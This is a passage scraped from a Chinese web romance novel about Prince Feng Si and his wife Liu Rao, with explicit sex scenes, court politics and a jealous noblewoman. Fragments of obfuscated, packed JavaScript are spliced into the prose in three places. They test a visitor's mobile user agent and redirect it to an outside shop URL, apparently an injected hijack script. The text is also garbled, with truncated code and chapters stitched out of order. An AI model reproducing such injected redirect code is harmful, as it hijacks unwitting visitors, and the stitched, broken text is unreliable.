他用帕子将整根手指擦净,搂着她往后倒,低声道:“媚儿,上来。” 如柳般的长发轻飘飘垂落,柳娆颤颤巍巍撑在上方,湿润的眼眸看着他,哑声问:“然后呢?” “你不是会吗?洞房那日你不是自己来过?” “塞不了。” “这回可以的,再试试。” 她抿了抿唇,目光落在不远处的雕花屏风上,不敢和他对视,紧蹙着眉头,小心翼翼坐下。她未能预料如此顺畅,不慎骤然滑入,惊呼一声。 封肆忍住笑,将她搂进怀里:“疼?” 她瘪了瘪嘴:“撑。” 封肆拍拍她的背:“别怕,慢慢的。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17148573|194925||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >她抱着他的肩,害羞磨蹭,小声问:“是这样吗?” “你这样舒服吗?” “嗯。”她咬着唇,轻轻点头。 封肆轻轻将她的脑袋按在怀里:“那就好,没什么定式,你舒服就好,宝贝。” 她紧绷的心缓缓放松,酥酥麻麻的感觉从尾椎而起,迅速流淌在身体的每一个角落里,连指尖都忍不住微微颤栗,眯着眼在他肩头大口喘气。 “要。” “什么?” 她小声嘟囔:“帮帮我,我没力气了。” 封肆勾唇,搂着她坐起,掐着她的腰问:“这样好不好?” 她连连点头,眼睫缀着的泪珠滑落。 封肆笑着亲亲她的脸:“要不要我摸这里?” “要,都要。”她埋头在他怀里羞涩道。 封肆低垂着头,一口咬上去,惹得她又是一阵颤抖,未干的双眸瞬间又渗出许多泪来,婉转悱恻的声音在房中回荡。 她明明很不喜欢这种像是被凿开的感觉,可身体里好像有一个小羽毛在挠她勾她的,让她忍不住地沉,渴望更多更充盈,直至无法承受,留下满脸无意识的泪水。 封肆轻轻抱住她,掌心在她后背轻抚,帮她喘匀气,才轻声开口:“媚儿。” “嗯。”她声音沙哑,带着浓浓的鼻音。 “累了,是不是?我哄你睡觉好不好?”封肆放下床帐,遮住烛火的光,搂着她躺下,轻轻在她后背拍打。 她浑身被抽干,累得厉害,脑海中一片空白,在那温热的怀抱中,昏昏沉沉睡去,一夜无梦,一觉天明。 封肆瞧她睁开眼松了口气,她昨夜叫得那样厉害,恐怕整个屋外都能听见,封肆真怕自己将她弄坏了,夜中醒了好几回,又是探她的额头,又是探她的鼻息,此刻心中才真正踏实下来。 “媚儿?”他轻唤。 “嗯。”柳娆揉揉眼,脑袋往他肩上一搁,“好饿。” 他弯唇:“我抱你起来。” 柳娆呆呆靠在他肩头,洗过脸,风一吹,渐渐回神,又活力满满,乐呵呵吃完饭,拉着他又蹦蹦跳跳往小鹿园子跑。 他看着她头上飞起的发带,眼眸中不觉露出点点笑意,跟着她一起跑在垂柳依依的石子小径上,一向庄重的衣袍随着风儿斜飞,那两头鹿也格外可爱起来。 “给!” 他被塞一把果子草料,小鹿朝他走来,毫不客气将他的手当做槽盆,嚼得满嘴汁水。 柳娆笑眯眯看着他:“好不好玩?” 他也笑:“好。” “给!” 他手里又被塞了把毛抓。 他好像着了魔,被人带着在园子里疯跑,在树上摘果子,在荷花池中采莲蓬,弄得浑身都是泥,换了好几池水才洗净,那个家伙仍旧精神充沛,顶着湿漉漉的发朝他爬来,他恍然回神。 “干什么?” 柳娆爬到他跟前,抬眸看着他,脸颊红扑扑的,羞涩道:“我们睡觉吧。” 他怔愣一瞬:“什么?” 柳娆抱住他的肩,往他腿上坐,小声道:“那个呀,我要那个。” 36. 第 36 章 封肆喉头微动,哑声问:“哪个?” 柳娆以为他真没听明白,认真看着他,小声解释:“就是同房呀。” “你不是不喜欢吗?” “我没说我不喜欢呀。”柳娆抱着他的肩晃晃,“快点儿,我要嘛。” 他嘴角越扬越高,低声道:“亲我。” 柳娆也悄悄翘起嘴角,在他唇上啄吻几下,轻轻含住,试探着撬开,还未探进,便被陷阱一口咬住,被带着翻滚进薄毯中。 夕阳下的晚风轻拂着竹帘,嘭嘭轻响,轻薄的绸缎毯子裹成一个茧,荷花池中的蜻蜓好奇飞来,被茧中颤抖惊吓,振翅逃走。 日落月升,狭窄的空间中,呼吸声交织,封肆垂眸看着怀里的人,目光不觉温柔缠绵:“媚儿。” 她眼睫扇动,呆呆的。 封肆轻笑:“媚儿,好美。” 她弯着眼,嘴角高高扬起。 封肆看着她,目光一刻也舍不得离开她的眼眸,这还不够,还要再抱着她,紧紧抱着,炎炎夏日,热出两身汗。 她也不躲,甚至渐渐有些沉迷于这种快乐,炎热的夏日,她拉着封肆在庄子里奔跑嬉戏,每日都要出一身热汗,在汤泉里洗净后,她便缠着他索求到月明,累得酣睡一场,第二日继续。 柳家三兄弟寻来时,已日上三竿,听说人还在睡着,他们不好让侍女去催,只能在厅中候着。 快至午时,封肆终于出门,懒散往椅上一靠,轻薄宽松的长袍随意堆叠,嗓音沙哑:“何事?” 柳琮犹豫道:“见过王爷,小妹嫁去王府许久,我们一直未来探望过……” 封肆打断:“你们来的这样整齐,恐怕不是为了跟我叙家常,有什么话直说便是。” 柳瑜抢先开口:“前些时日林御史入狱,父亲在朝堂上为御史说了几句话,后来便被陛下单独留下,至今未归,我们兄弟几个实在没有办法才寻到王爷这里来。” “按说柳尚书在朝中为官时日不短了,难道还琢磨不透圣意吗?非要去为那林御史说话,不是找死是什么?” “父亲一向古板,他与林御史交好多年,两人也算同舟共济过来的,如今,林御史落难,父亲只是出于朋友之谊才为其说话,并非想得罪陛下。” 沉默片刻,封肆起身:“我知道了,这两日就进宫去看看,你们回吧。” 柳珣忍不住站起:“媚儿还好吗?” 封肆回头,瞥他一眼:“她还在睡,你若是想见她,改天吧。” 柳珣微微点头:“好。” 封肆大步离去,刚到廊下,那颗毛绒绒的脑袋便从门口探出,委屈巴巴朝他看来。 “你去哪儿啦?” 他快步走去,将她抱住:“醒了?” “你去哪儿啦?我一睁眼就发现你不见了,先前你都在我身边的。”柳娆紧紧抱住他。 他轻声哄:“你哥哥来了,我方才去见他们了。” “哪个哥哥?大哥二哥还是三哥?他们来做什么?人在哪儿呢?”柳娆探着脑袋左右看。 封肆将她拉回:“我以为你还没醒,就让他们先走了,我们收拾收拾回城中,你要是想见他们,过两日可以回去探望。” 她点点头:“噢。” 封肆笑着捧起她的脸:“这么离不开我?穿着寝衣就出来寻我了?” 她认真点头:“小四,我好爱你,我想一醒来就看到你。” “我也好爱你,我要我的宝贝每天一醒来就能看到我。” 柳娆忍不住对他嘿嘿笑。 他低头,抵她的鼻尖蹭蹭:“乖宝贝,我们去洗漱。” 柳娆挂在他身上,脸也要他洗,饭也要他喂,最后收拾衣物,也要他来帮忙收。 他早已沉迷其中,无法自拔,一刻也不想和她分开,回城的马车上都要抱在一起,第二日进宫前也要等她醒了,和她抱在一块儿说说话才出门。 临行前,管事突然来报:“王爷,平阳侯府来了帖子,说是请王妃去夏饮宴。” “去与王妃禀告,她要去便去,她不去便不去。”封肆放下车帘,往后一靠,缓缓朝宫中去,一路畅通无阻,只在大殿门口稍稍等待片刻,便被内侍引进门。 他上前,恭敬行礼:“拜见陛下。” “你我之间就不做这些虚礼了,快起来吧,看座。” “多谢皇兄。” 皇帝看去:“怎么?玩儿够了?” “皇兄莫要拿我打趣,我来是给我岳父求情的,听闻他犯了错,被扣在宫里,好几日没回了,媚儿要是回府看不到父亲,恐怕又要哭了。” “你眼里就只有你女人高不高兴,不管我这个做哥哥的生与死?” “皇兄这是哪里的话,一个小小尚书而已,也反不了天,皇兄与我皆是心知肚明,柳尚书无非就是古板一些,若说反心,断断不会有的。皇兄若是不放心,我与他说,让他告老请辞就是,他年岁大了,也该回去好好歇歇。” “你说的也有几分道理。”皇帝没有给出明确的答复,“你呢?歇了这些天也该收收心了,总不能一辈子都在别院里与女人厮混,明日就回来当职吧,不要再耽搁了。” 封肆毫不避讳,又道:“只要皇兄需要,臣弟随时奉命。柳尚书一事,皇兄究竟是如何想的?若真要处置他,还请皇兄与我提前说一声,我也好提前哄哄媚儿。” “你对她倒是真用心。” “皇兄别总调侃我,倒是说说要如何处置我岳父。” “罢了罢了。”皇帝摆摆手,“你将他领走吧,让他回去颐养天年,省得他哪天惹朕生气,朕忍不住就砍了他。” 封肆立即跪地叩首:“多谢皇兄!” 皇帝笑着道:“起来吧,你这样在意你那个媚儿,等中秋带来给朕看看,中秋宫宴,一家人也该团圆。” “是,臣遵旨。” “去领人吧,别忘了明日来上早朝,朕还有事要交给你办。” “是。”封肆垂眸退下,被内侍带着前去寻柳尚书,一路上都在琢磨皇帝的那几句话。皇兄是单纯想见见媚儿?还是别有用意? “王爷,到了。” 他回神,朝柳尚书看去。 柳尚书这几日都被关在偏殿中,除了精神不大好外,身上没有其余的伤痕。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17151834|194925||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 他朝人打量几眼,低声道:“走吧。” 柳尚书紧皱的眉头并未松开,声音低沉:“媚儿还好吗?” “你不给她惹事,她就会很好。” 柳尚书顿了顿,没有答话。 “你在朝中待了这么多年了,想来也不必我再多说,我的面子也只能用一回,下回再出这样的事,没人能救得了你,你的女儿你的儿子都会受你牵连。将官位辞了,过段时日我会给你谋一个清闲的差事,以后不要多管闲事,好好颐养天年。” “王爷搭救,老臣感激不尽,至于官职的事,便不再劳烦王爷了。” 封肆瞥他一眼:“上车,我带你出宫。” 柳尚书不知如何作答,跨上马车,安静落座,一路无言。 马车抵达宫门停下,封肆正要吩咐人送柳尚书回府,王府中的管事突然迎来。 “什么事?”封肆朝他看一眼,稍稍靠近车窗,“说吧。” 管事附耳低声道:“王妃身旁的侍女春雪让小的带话,平阳侯府的人待王妃不大恭敬。” 封肆眉头微皱,稍稍坐回:“知道了,你送柳尚书回柳府。” “多谢王爷。臣告退。” 封肆等人下车,立即朝车夫吩咐:“去平阳侯府。” 平阳侯府中,女眷们正围坐在桌前玩叶子戏,柳娆从未玩过,看着那堆牌,有些头疼。 她叹息道:“我真的不会玩。” 周围女眷们笑着催促:“不打紧的,玩着玩着就会了,娘娘有不会的,问我们便是。” 春雪也道:“娘娘不必担忧,奴婢也会一些,娘娘若有不明白的,问奴婢也好。” 柳娆眼睛一亮,笑着捉牌:“那太好啦,我要是有不懂的就问你。” 她年纪轻,陪她玩牌的要么是年轻的小姑娘,要么是同样成亲不久的年轻妇人,她对面坐着的便是平阳侯府的小姐,正值二八年华,尚未出阁。 侯府的小姐开口,似乎是闲聊:“听闻王妃娘娘和王爷是在京城大街上认识的?” 柳娆正在理牌,没太听清:“不好意思,你方才说什么了?我没听见,你再说一遍吧。” 那小姐有些恼,又道:“也不知道是谁乱嚼舌根,说王妃娘娘在嫁进王府前是有婚约的。” “噢,是有啊,不过也不算婚约吧,只是我爹和人家关系好,随意定下的。”柳娆挑中一张牌,乐滋滋打出去,“我出这个。” 谁也没想到她竟然会这样大胆地承认,一时间,牌桌上除了她,没哪个在认真玩牌。 侯府小姐也不可思议,鄙夷道:“一女不嫁二夫……” “我没嫁啊,都没开始纳彩呢。我出这个。”她的兴致只在手中的牌上,她这把牌好,肯定能赢! “听闻王妃娘娘还未嫁进王府前,便与王爷很是亲近了。” “你怎么老是听闻别人的事啊?你没有自己的事要做吗?”她真诚发问,理了理手上的牌,用手肘拐拐春雪,“你看看,我是不是赢了。” 春雪点头:“对的,娘娘。” 她立即将牌亮出,欢呼道:“我赢了,给钱给钱!” 37. 第 37 章 侯府小姐噎住,没好气给了钱,继续道:“王妃娘娘如今能嫁进王府,也是好手段。” 柳娆听不明白那些弯弯绕绕,高高兴兴收了钱,开怀道:“是吧?我也这么觉得,我长得好看,心地善良,小四喜欢我,也只是人之常情啦。我们继续玩牌吧!” 她今天运气不错,多玩几圈,说不定能挣到不少钱呢! 侯府小姐见她不接话,只能将一肚子气闷回去,越闷越气,下了牌床便跟人在假山石后嚼舌根。 “你看她那副样子,满头珠宝,哪里有一点贵女的模样?分明就是个没有涵养的土包子,不知道这样的人如何能嫁进王府的,还成日地显摆,问旁人这好不好看,那好不好看,生怕人家不知道她穿戴的有多奢华似的。” “好了好了,消消气,不论如何,她都是宁王妃,你就算再看不过,也千万不要露在脸上,得罪了宁王那可不是小事。” “那又如何?你没听说吗?她父亲为反贼求情,被扣在宫中好些时日了,说不定她家里过几日就倒了。她不就是靠宁王的宠爱吗?我看她没了宁王,还如何嚣张!真不知道宁王看上她什么了,毫无内涵修养,礼仪规矩……” “你们在说谁呢?” 戴着冠帽的脑袋从假山石后探出,窃窃私语的两人转头看来,皆是惊得一抖。 柳娆从假山石后走出,弯着眼眸道:“下回在背后偷偷说别人坏话时,记得回卧房去,不然可是很容易一不小心就被人听见的噢。” “你!”侯府小姐左右看一眼,见周围无人,又看一眼她身后的水池,不怀好意上前两步,“你都听到了?” 她眼眸眨眨:“什么?” “没什么。”侯府小姐停在她跟前,突然伸手,朝她肩膀一推。 她一惊,来不及反应,双手扑腾着便要朝身后的水池倒去,就在此时,噗通一声,有人比她先一步跳入水中,将她稳稳抱住。 她下意识紧紧抓住那人的手臂,抬眸看去,惊讶道:“小四?” 封肆正拧着眉头看着岸上的两人。 这池子不深,水到他膝盖而已,又是夏日,即使跌入水中也不至于受寒生病,但媚儿今日戴了一顶贝壳制成的琉光发冠,足有几斤重,若是摔进水中,一时半会爬不起来,池水没入口腔,恐怕会命丧此地。 他越想越恼怒,认定眼前的两人是要谋害性命,打横抱起怀中的人,抬步跨上岸,冷声道:“春雪,把她们给我按进水中,让她们好好清醒清醒。” “小四,你怎么来啦?” “回去再说。” 柳娆点点头,伸着脖子往后看,又被人按回去。她摇摇脑袋:“干嘛?” 封肆未回答,大步往前,浸湿的衣摆滴滴答答淌了一路的水,直至到了门外的马车上,衣摆才几乎被风干。 “你怎么走得这么快呀?”柳娆迎着风乐呵呵道,突然又拿起腰间的荷包,“看,我今天玩叶子戏挣了好多钱,你有没有什么想要的?你有没有想要的,我可以给你买噢。” 封肆阴沉的神情终于有了一丝波动,唇微微扬起:“你还会玩叶子戏呢?” 她眉眼弯弯,似一弯月牙:“不会啊,春雪教我的,我厉害吧,第一回玩就能挣这么多钱。” 封肆嘴角彻底扬起:“厉害。” “那你有没有什么想要的呀?” “糖炒栗子。” 柳娆一转头便瞧见车窗外的栗子铺,笑眯眯在他脸上亲一口:“你等着,我这就去给你买。” 他看着她跳下车跑远,脸上的笑沉下,朝随行的人低声吩咐:“让底下的人立即搜罗平阳侯府的事迹,明日早朝上奏弹劾。” 随行的护卫低声应是,乘马而去。 封肆朝着那道靓丽的背影看去,直到人跑回马车上,才放下车窗。 柳娆搂着裙子上车,将袋子一股脑塞进他怀里:“你看,我给你买了好几个口味的,还是热的呢,快吃吧!” 他笑着摸摸她的脑袋,剥开一颗栗子,先送到她口边:“宝贝先吃。” 柳娆一下咧开嘴,高兴接下,一口气在他脸上亲了好几口:“小四,你真好,你快吃吧!” 封肆靠着车厢,和煦的目光落在她脸上,不紧不慢捏着栗子壳:“今日玩得高兴吗?” “高兴啊,挣了钱还不高兴吗?” “要是喜欢玩叶子戏,我让人专程给你布置一个玩叶子戏的房间,往后可以叫人来府上玩。今日入宫时遇到你爹了,你若是想他们了,可以回去看看。” “什么你爹,那是我们的爹。” “好好好。”封肆敷衍过去,又道,“明日起我得去当职了,明早得早起去上早朝,你乖乖在家,想做什么想要什么,便吩咐春雪。” 柳娆眉头一蹙:“早朝?什么时辰?” “天不亮就得起。” “那我醒来时岂不是就见不到你了。” 封肆摸摸她委屈的脸:“可是我不去,不挣钱,媚儿就没有这么多好吃的好玩的了。” “噢。”她瘪了瘪嘴,轻轻抵在他肩头。 封肆悄然叹息一声,将她搂进怀里:“也不是日日都如此,待休沐我便能在家中陪你。” 她往他怀里靠了靠,不说话了。 翌日天明,她睁开眼时,身旁的人果然不见了。她坐起,怔愣看着被褥许久,眼眸轻轻动了动。 侍女们松了口气,笑着问:“娘娘,是不是该起了?” 她胡乱点点头,脑袋上竖起的碎发跟着一起乱点。 侍女们立即围上来,扶着她站起,穿衣、洗漱、梳妆,细致入微,几乎不必她动手。她却没什么精气神,坐在铜镜前好一会儿,侍女们唤了好几声,才回过神来。 “娘娘是不是还没睡好?”春雪笑着问。 她轻轻摇头,拖着步子往起居室走。 纤云与春雪对视一眼,上前道:“娘娘好久未回娘家了,要不要回去看看?三少爷肯定十分思念娘娘。” 她顿了顿,点点头:“好,回去看看吧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“噢~你说那个呀。”她恍然大悟,嘿嘿笑两声,故作神秘,“大人的事小孩子不要问,等你成亲就知道了。” 柳珣好笑:“什么大人小孩子?我比你大。” “可是你没有成亲啊,没有成亲的一律视为小孩。”柳娆往后一蹦,坐在池边的围栏上,“总归你成亲后就会明白啦。” “好吧,你这么说,看来就是没什么问题了。” 她又咬一口果子,甜滋滋的汁水漫延,又道:“你什么时候成亲呀?我们都成亲了,只有你没成亲。” 柳珣笑着捏捏她的脸,故意道:“成亲有什么好的?要是遇到个像你这么能吃的,我可养不起。” 她蹙蹙眉头,细细盘算:“我很能吃吗?我没吃多少呀,我也没花多少银子吧?最多就是买买衣裳首饰,这也不多吧?” 27-30 第27章 第 27 章 早些休息 她被簪了朵将放未放的荷花, 粉粉嫩嫩的,她一下就挪不开眼,喃喃道:“真好看啊, 要是再多簪几朵会更好看。” 不待旁人回答, 她立即将剩下那几朵荷花苞全插在脑袋上, 活脱脱就是个花瓶,封肆扶额, 不忍直视。 侍女笑着夸:“王妃娘娘明眸皓齿, 花容月貌, 就是簪满了花,也是极美的。” 柳娆很是受用,抬着下颌连连点头,头上的花苞跟着一颤一颤:“嗯, 我也觉得。” 在场之人都忍不住笑, 太后也道:“媚儿是很漂亮。” 她又往头上簪两朵, 实在簪不下了, 看着满篮子的花,叹息一声,突然,双眼放光朝对面的人看去。 封肆直觉不妙。 “我给你簪吧。”柳娆兴致勃勃,起身就朝他来。 他赶紧后仰:“我不用,你给自己簪吧。” 柳娆歪着头看他:“为什么呢?我和母后都簪了啊?你为什么不簪呢。” 簪花没什么,簪一头的花……他咽了口唾液,随时准备起身就走:“我不想簪, 你自己簪吧。” “你为什么不想簪呀?多好看啊。” 他看着那只伸过来的魔爪,噌一下站起:“我进宫还没去见过皇兄,我现下去。” 太后看他一眼:“你就让媚儿簪一朵, 能如何?” 柳娆理直气壮应和:“对啊,你就让我簪一朵,能如何?” 他悄自叹息一声,又坐回去:“说好的啊,只簪一朵的啊。” 柳娆拿起一朵花往他脑袋上比划:“你为什么只要一朵?你不觉得戴多一些更好看吗?” 他脖子一缩:“要么一朵,要么就不簪了。” 柳娆撇撇嘴,小声道:“你凶我。” 封肆顾忌着太后在,连忙拉着她的手,小声道:“没凶你,我只喜欢簪一朵,簪多了太重,我头疼。” 她点点头:“好吧,那就给簪一朵。” 封肆松了口气,稍稍正坐,看着她从一篮子的花里挑出那朵大红色的菊花时,嘴角一抽。 她按住他的脑袋,稳稳当当将那朵又大又红的菊花别在他的发冠上。 封肆闭了闭眼,深吸一口气,当做脑袋上的东西不存在。 “好看吗?”柳娆举着铜镜来,扒开他的眼皮,“你看啊,好看吗?” 他无奈点头:“好看好看。” 柳娆弯着腰,笑眯眯看着他:“真好看,我们昨天成亲的时候,你应该簪一朵这么红的红花的。” 他对上她的笑眼,泄了气:“你说好看就好看。” 柳娆后退几步,满意欣赏一番,又朝太后问:“母后,你觉得好看吗?” 太后早忍不住笑:“好看,哀家还从未见过宁王这副模样呢。” “你看,母后都说好看。”柳娆牵住他的手,左看右看,将那支红菊花往里又簪一簪,高高兴兴继续插花。 封肆松了口气。 太后笑看他一眼:“挺好的。” 他无奈笑笑:“她就是这样,母后莫要和她一般见识。” “谁?”柳娆抬眸。 “没你的事,你继续插花。” 柳娆眉头一皱:“你……” 封肆赶忙打断:“没凶你,插花吧,你要是喜欢,将这几瓶花抱回去。” “噢。”柳娆往他手中塞一把剪子,“那你跟我一起插花。” 他暗自叹息,老老实实接过剪子,听候她的差遣修剪花枝,一整个下午,全耗在摆弄花枝上,整个园子的花都快被薅秃。 眼见天暗,他立即开口:“去用晚膳吧。” 柳娆还在摆弄花瓶,眼都未抬一下。 封肆俯身,低声道:“宫里的吃食比家里的还丰盛。” “嗯?”她眼一掀,放下剪子,“那我们去用晚膳吧,这些花可以带回去再插。” 封肆扬唇,牵着她跟在太后身旁:“媚儿快将整个园子的花都采完了,若是有人问起来,我还真是说不清。” “这有什么,几盆子花而已,让人再送些来就是了,你皇兄总不会因为这个怪罪你,若真问起来,便说是哀家采的。”太后朝柳娆看去,“媚儿,到哀家身旁来。” 柳娆立即松开封肆的手,绕去太后身旁。 太后笑着握住她的手,亲昵地跟她说着闲话,说说笑笑回到寝宫,晚膳时也是和她坐在一块,给她盛汤布菜,天色昏暗,又派人亲自将他们送出宫。 马车缓缓前行,柳娆懒懒倚在封肆肩上,一副餍足的模样。 封肆肩头动动:“玩好了?” 她眯着眼,昏昏欲睡:“嗯。” “我没有骗你吧?太后不会为难你。”封肆低头,用鼻尖在她脸颊上蹭蹭,温热的气息在她脸上轻挠。 她不耐烦哼哼着躲开:“不要弄我,我好困。” 封肆将她打横放在腿上,轻声问:“怎么又困了?早上起得挺晚的。” “可是我中午没睡啊。”她捏住他的嘴,“你不要和我说话了,我要睡觉了。” 封肆轻声叹息,许久,忍不住又问:“媚儿,还疼不疼?” 睡梦中的人迷迷糊糊哼了一声,也不知道回答的是什么,封肆又叹息一声,将人抱紧一些。 翌日天明,身旁的人醒了,他也跟着睁眼,偏头看去。 柳娆打了个哈欠,目光呆呆。 “醒了?”封肆稍稍侧身,轻轻搂住她的腰,在她脸颊上啄吻。 她眨眨眼,呆呆看来,钻进他的怀里。 封肆心都要化了,将她整个搂住,连声轻哄:“没睡醒吗?乖媚儿。” “头疼。”她哑着嗓子喊,“你给我按按。” “为何头疼?请太医来看看?”封肆指腹轻轻在她太阳穴上轻轻按压。 “困。” “困再睡一会儿?” “可是我饿了,我要起床吃饭。” 封肆无奈低笑:“好吧,那起来吧。” 柳娆黏在他身上不动弹:“你抱我起来。” 他叹息一声,嘴角却忍不住上扬,将她整个抱起,又是亲自给她洗脸,又亲自伺候她吃饭,饭一吃完,人立即有精神了,也不黏着他了,蹦蹦跳跳往院子里寻秋千,他不紧不慢跟在后面。 “天啊,好大的秋千,好漂亮啊。”柳娆围着花架子转了一圈,才坐去花架底下的秋千上,还是忍不住仰头看着架子上的月季。 封肆停在她跟前,笑着看去:“这么喜欢?还有花房,要不要去看看?” “好啊。”她立即站起。 封肆主动迎上一步,搂住她的肩往前走:“看看这院子里新种的花,都是你说喜欢,我才让人弄的。” 她笑着在他脸上亲一口:“谢谢夫君!” 封肆也不知道自己是怎么了,只是一句感谢的话而已,他却十分受用,嘴角放都放不下去。 花房在房后的小院,正是夏日,蝴蝶兰盛放,幽幽花香传来,柳娆循着花香去,站在花房里深深吸一口,高兴地原地转圈圈:“真漂亮。” “花房下面挖了地笼,等天冷了,将地笼发上火,花房里的花仍旧能盛开。”封肆道。 柳娆冲过去,仰头看他,满眼星光:“哇塞,夫君,你太厉害了吧!” 封肆嘴角扬得垂不下来:“还想要什么?尽管跟夫君说。” “嗯……暂时没什么想要的,等我想到了再说吧。”柳娆抱住他的腰,轻轻晃晃,“夫君,你真好。” 他搂着她跟着笑一会儿,垂首在她耳旁低声道:“晚上我们再试试好不好?” “什么?”柳娆闭着眼靠在他胸膛上问。 他喉头微动:“没什么,晚上再说。明天要回门,我让人准备了一些礼品,你看看还需不需要额外准备什么?” “嗯?明天要回去吗?”柳娆抬头,“你都准备了些什么?” “大概是酒,布匹之类的。” 她微微点头,一样样算过去:“酒可以给我爹,布匹可以给我娘……” 封肆轻声打断:“布匹准备得不少,不止有给你母亲的。” “什么你母亲我母亲,那也是你娘。” “好好,不止有给娘的。” 柳娆满意点头,继续道:“哥哥们应该不喜欢这些东西,大哥喜欢古籍,二哥喜欢文玩,三哥嘛应该喜欢字画。” “去我书房里看,里面有不少你说的这些东西,你自己挑。” “那太好了!我给他们一人挑一样,再给娘和两个嫂嫂准备几支簪子,这就差不多了。” 她一样样选好,包装整齐分门别类摆好,目光又落去自己的大箱子上。 这回成亲,她新得了许多首饰衣裳,除了封肆和家里给的,还有成亲时旁人送的贺礼,都是各种各样的的首饰和摆件,她摆弄着就停不下来。 她兴致勃勃摆弄一个下午,塞满所有衣柜和首饰柜,心满意足地收手,封肆也松了口气。 这满满几柜子的首饰和衣裳,几乎没有几件是这个小磨人精收的,全都是他收的。 “唉!收拾东西可真累呀,我得吃多点才行,不然把我饿瘦了可怎么办?” 封肆额角抽了抽,在她身旁坐下,垂首低语:“用完晚膳,我们一起沐浴。” “不行,家里的浴桶太小了,我们两个人一起洗,会把桶弄坏的。” “倒也是,那我们早些沐浴,早些歇息?”封肆以为她能听懂。 她也以为封肆能听懂:“好啊好啊。” 第28章 第 28 章 那天洞了,今天还要洞吗…… 封肆踏出浴房, 便瞧见光她光溜溜地躺在床上,当即呼吸一紧,抬手禀退侍女, 轻声走近:“这是干什么呢?” 她微微掀眼:“抹油呢。” 封肆屏息坐下:“夏天了, 还抹?” “对啊, 抹的是另一种,它不是很油, 是有香味的。”柳娆拉着他的手放在自己手臂上。 他喉头微动, 声音稍沉:“抹完了吗?” “还没呢, 你给我抹吧。”柳娆将腿往他腿上一搁。 他不由得咽了口唾液,用滚烫的掌心将花油化开,在她腿肚上轻轻揉按。 柳娆舒服得眯起眼:“你的手怎么什么时候都这么暖和?” 他没有说话,从小腿往上一路抹上, 停在她跟前, 罩下一道阴影。 “嗯?”柳娆眉头动动, 还没有来得及睁眼, 滚烫的薄唇包裹住她的唇。 她看他片刻,抱住他的脖颈,微微张口,紧促的呼吸立即朝她拍打而来,她忽然嘤咛一声,吓了自己一跳。 “别怕。”封肆搂起她的腰,啄吻几下,又深吻。 她顿了顿, 刚要闭眼,忽然发觉不对,手往他腹上一撑, 惊呼:“做什么!” 封肆将她往跟前扣,脸颊在她耳旁轻蹭:“喊什么?今天我会注意一些,不会弄疼你的。” 她咽了口唾液,脖子直往后仰:“那天你不是说算是洞房了吗?” 封肆发觉不对:“嗯?什么意思?” 柳娆看着他:“那天洞房了,今天还要洞吗?” 他低笑:“不然呢?” 柳娆脸紧皱,比吃了苦瓜还苦:“什么?!我成亲前没人跟我说过每天都要洞房,否则我肯定不成亲的!” 封肆将她搂在怀里轻声哄:“那晚只是个意外,我今天肯定不会弄疼你的,你想想旁人为什么要天天洞房?那肯定是因为舒服才这样,总不能是疼还日日都来。” 她瘪了瘪嘴,委屈道:“他们舒服,我不舒服,我不要,好疼的,你不爱我了,你知道我疼还要弄我。” “我怎么会不爱你呢?我正是爱你才想跟你更亲近一些啊,媚儿。” “我们可以亲嘴。”柳娆掰着他的头,在他嘴上啵啵亲两口,抬眸看着他。 封肆叹息一声:“媚儿……” 她将被子往头上一拽:“媚儿睡了,不要喊媚儿。” 封肆又是无奈,又是觉得好笑,隔着被子轻轻拍拍她,俯身道:“好了,别躲了,你要是不想,今天就不弄了。” 她露出两只眼睛:“那明天呢?” 封肆认真看着她:“媚儿,这是很要紧的事,你不要想着可以一直躲下去。” 她嘴又瘪下,缩在墙边假寐。封肆叹息一声,轻轻拍拍她,吹了灯,在她身旁躺下。 第二日,回门的礼品已经收拾好,柳娆扶着封肆的手跨上马车,支着脑袋望着窗外的小吃摊出神。 “想什么呢?”封肆搂住她的腰,顺着她的视线看去,“早上出门太晚,过去都能直接吃午饭了,你要想在外面买吃的,我们明天再来。” 她头一转,新奇道:“你怎么知道我想吃外面的东西的?” 封肆笑着亲她一口:“你眼睛都快黏那上面了。” “小四,你真聪明!”她抱着他蹭蹭,眼眸一转,又道,“要是我们可以不洞房就更好了。” 封肆在她耳旁笑道:“不可以。” “哼!”她双手揪住他的耳朵,一口咬在他脸上。 封肆疼得眉头直皱,再一看她那气得鼓起来的小圆脸,紧皱的眉头又舒展开来:“在外面不说这个,晚上回去再说。” 她叉着腰,呲牙咧嘴。 封肆欣赏一番,嗯,更可爱了。 他扶住她的后背,在她额头上落下一吻,将她揽进怀里:“我们明日出去玩,如何?” “我生气了,我不要和你说话。”柳娆脸一扭。 封肆笑着靠过去:“那不去了?别院里有汤泉,有果树,有小鹿……” “有小鹿?”柳娆好奇看去。 “前几年猎到的两头小鹿,我没忍心杀,养在了别院,如今应该有这么大了吧?”封肆比划比划。 柳娆两条弯眉快拧成麻花,到底是继续生气呢,还是明天去看小鹿呢?她一咬牙:“好吧,我原谅你了。” 